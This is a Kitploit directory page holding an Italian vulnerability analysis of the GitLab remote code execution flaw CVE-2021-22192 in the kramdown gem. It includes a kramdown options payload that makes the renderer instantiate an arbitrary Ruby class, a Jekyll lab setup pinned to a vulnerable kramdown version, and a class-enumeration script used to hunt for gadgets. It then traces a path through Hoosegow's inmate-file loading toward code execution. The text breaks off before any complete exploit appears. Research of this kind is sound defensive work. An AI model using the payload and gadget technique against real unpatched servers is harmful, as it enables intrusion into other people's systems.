Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Gitlab-RCE — CVE-2021-22192 | Kitploit
Strumenti/GitHubGitHub/petrusviet/gitlab-rce
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPaper e RicercaApprendimento e Formazione
GitHubpetrusviet/gitlab-rce

Gitlab-RCE

CVE-2021-22192

Vedi Repository
123115 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Analisi della vulnerabilità RCE in Gitlab (CVE-2021–22192)

I) Costruzione

  • Questa vulnerabilità riguarda GitLab Community Edition (CE) ed Enterprise Edition (EE) nelle versioni (>=13.2, <13.7.9), (>=13.8, <13.8.6) e (>=13.9, <13.9.4)
  • potete seguire le istruzioni di lyy289065406 per preparare l'ambiente.

II) Analisi

Quando ho iniziato ad analizzare questa vulnerabilità, avevo solo alcune preziose informazioni da lyy289065406 che mi hanno permesso di capire il problema centrale di questo bug. Sembra che l'errore risieda nella gem kramdown (<= 2.3.0), quindi ho iniziato a studiare kramdown per prima cosa.

1. Kramdown

Possiamo esaminare la patch di kramdown e notiamo la differenza nella funzione formatter_class all'interno del modulo Kramdown::Converter::SyntaxHighlighter::Rouge

::Rouge::Formatters.const_get(formatter) è stato trasformato in ::Rouge::Formatters.const_get(formatter, false)

La funzione const_get è ereditata dalla classe Object e può recuperare le costanti. Può persino restituire le classi già dichiarate che riesce a trovare. La differenza qui è solo l'aggiunta di un parametro false. L'aggiunta del parametro false impedisce a const_get di recuperare le costanti dalle classi madri o dai moduli. C'è un dettaglio ancora più particolare: nella funzione self.call viene chiamata formatter_class e poi new(opts). Questo significa che il metodo recuperato tramite const_get viene passato al costruttore per essere istanziato.

def self.call(converter, text, lang, type, call_opts)
      opts = options(converter, type)
      call_opts[:default_lang] = opts[:default_lang]
      return nil unless lang || opts[:default_lang] || opts[:guess_lang]

      lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
      return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])

      opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
      formatter = formatter_class(opts).new(opts)
      formatter.format(lexer.lex(text))
    end

Wow, wow. Quindi come possiamo sfruttarla???

Basandoci su Kramdown:Options possiamo chiamare la funzione Kramdown::Converter::SyntaxHighlighter::Rouge.call

{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

Inoltre, nel modulo Kramdown:Options, la funzione simple_hash_validator chiama YAML.safe_load(val). Quindi possiamo configurare un file YML per passare il payload desiderato a Kramdown::Converter::SyntaxHighlighter::Rouge.

def self.simple_hash_validator(val, name)
      if String === val
        begin
          val = YAML.safe_load(val)
        rescue RuntimeError, ArgumentError, SyntaxError
          raise Kramdown::Error, "Invalid YAML value for option #{name}"
        end
      end
      raise Kramdown::Error, "Invalid type #{val.class} for option #{name}" unless Hash === val
      val
    end
  • Kramdown è usato da Jekyll, GitLab Pages, GitHub Pages e Thredd Forum. Perciò ho deciso di provarlo prima con Jekyll.

2. jekyll

Prima di tutto devo preparare jekyll:

  • Installare jekyll
gem install jekyll
  • Creare una pagina jekyll chiamata jekyllTest
jekyll new jekyllTest
  • Modificare il file Gemfile.lock portando la versione di kramdown a <= 2.3.0
cd jekyllTest

File Gemfile.lock


...
kramdown (2.3.0)
...

  • installare la pagina
 bundle install

Così abbiamo finito di creare una pagina jekyll. Ora possiamo inserire il payload per vedere se Kramdown::Converter::SyntaxHighlighter::Rouge.call riesce davvero a chiamare un metodo.

possiamo aggiungere al file ./_config.yml

kramdown:
  syntax_highlighter: rouge
  syntax_highlighter_opts:
    formatter: CSV

Oppure usare un documento kramdown aggiungendo il payload in ./_posts/*.markdown

{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

~~~ ruby
def what?
  42
end

~~~
 Qui ho usato il secondo metodo =)))))
 
 - procediamo a deployare la pagina jekyll

bundle exec jekyll serve

 *potreste incontrare l'errore "`require': cannot load such file -- webrick (LoadError)`; in tal caso dovete aggiungere `gem "webrick"` al Gemfile*

- Vediamo il messaggio di errore `private method 'format' called for #<CSV io_type:Hash encoding:UTF-8 lineno:0 col_sep:`. Questo dimostra che la classe CSV è stata chiamata.

#### Il passo successivo è determinare quale metodo scegliere affinché la chiamata al costruttore possa causare una RCE?

Secondo un articolo di analisi [CVE-2020-10518](https://blog.csdn.net/smellycat000/article/details/109302520) che sfrutta il bug in kramdown per causare una RCE su GitHub, ho puntato alla classe Hoosegow:
- Vediamo che nella funzione `initialize` di Hoosegow viene chiamata `load_inmate_methods`
```ruby
def initialize(options = {})
   options         = options.dup
   @no_proxy       = options.delete(:no_proxy)
   @inmate_dir     = options.delete(:inmate_dir) || '/hoosegow/inmate'
   @image_name     = options.delete(:image_name)
   @ruby_version   = options.delete(:ruby_version) || RUBY_VERSION
   @docker_options = options
   load_inmate_methods
  • In load_inmate_methods vediamo che chiama require inmate_file
 def load_inmate_methods
    inmate_file = File.join @inmate_dir, 'inmate.rb'

    unless File.exist?(inmate_file)
      raise Hoosegow::InmateImportError, "inmate file doesn't exist"
    end

    require inmate_file

    unless Hoosegow.const_defined?(:Inmate) && Hoosegow::Inmate.is_a?(Module)
      raise Hoosegow::InmateImportError,
        "inmate file doesn't define Hoosegow::Inmate"
    end

    if no_proxy?
      self.extend Hoosegow::Inmate
    else
      inmate_methods = Hoosegow::Inmate.instance_methods
      inmate_methods.each do |name|
        define_singleton_method name do |*args, &block|
          proxy_send name, args, &block
        end
      end
    end
  end
  • Ma inmate_file viene creato concatenando @inmate_dir con 'inmate.rb'. Se riusciamo a chiamare questa classe e a modificare il parametro inmate_dir impostandolo sul percorso del nostro file payload, non è proprio lì che avviene la RCE?

  • Ho eseguito uno script nella directory della pagina jekyll per verificare i metodi definiti:

require "bundler"
Bundler.require

methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
 
methods.each do |m|
  begin
    puts "trying #{m[:ob]}"
    m[:ob].new({a:1, b:2})
    puts "worked\n\n"
  rescue ArgumentError
      puts "nope\n\n"
  rescue NoMethodError
      puts "nope\n\n"
  rescue => e
      p e
      puts "maybe\n\n"
  end
  • Purtroppo non c'è nessuna classe chiamata Hoosegow, anche evitando che lo script si interrompa a metà impostando la condizione ob.name == "Hoosegow"
require "bundler"
Bundler.require
  
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name == "Hoosegow"  }

...
  • A quanto pare nel classpath non era ancora dichiarata la classe Hoosegow; ho aggiunto gem "hoosegow" al Gemfile e lo script ha trovato la classe. [Hehe]
  • Poi ho provato a chiamare Hoosegow tramite kramdown per vedere cosa succede
Scarica lo strumento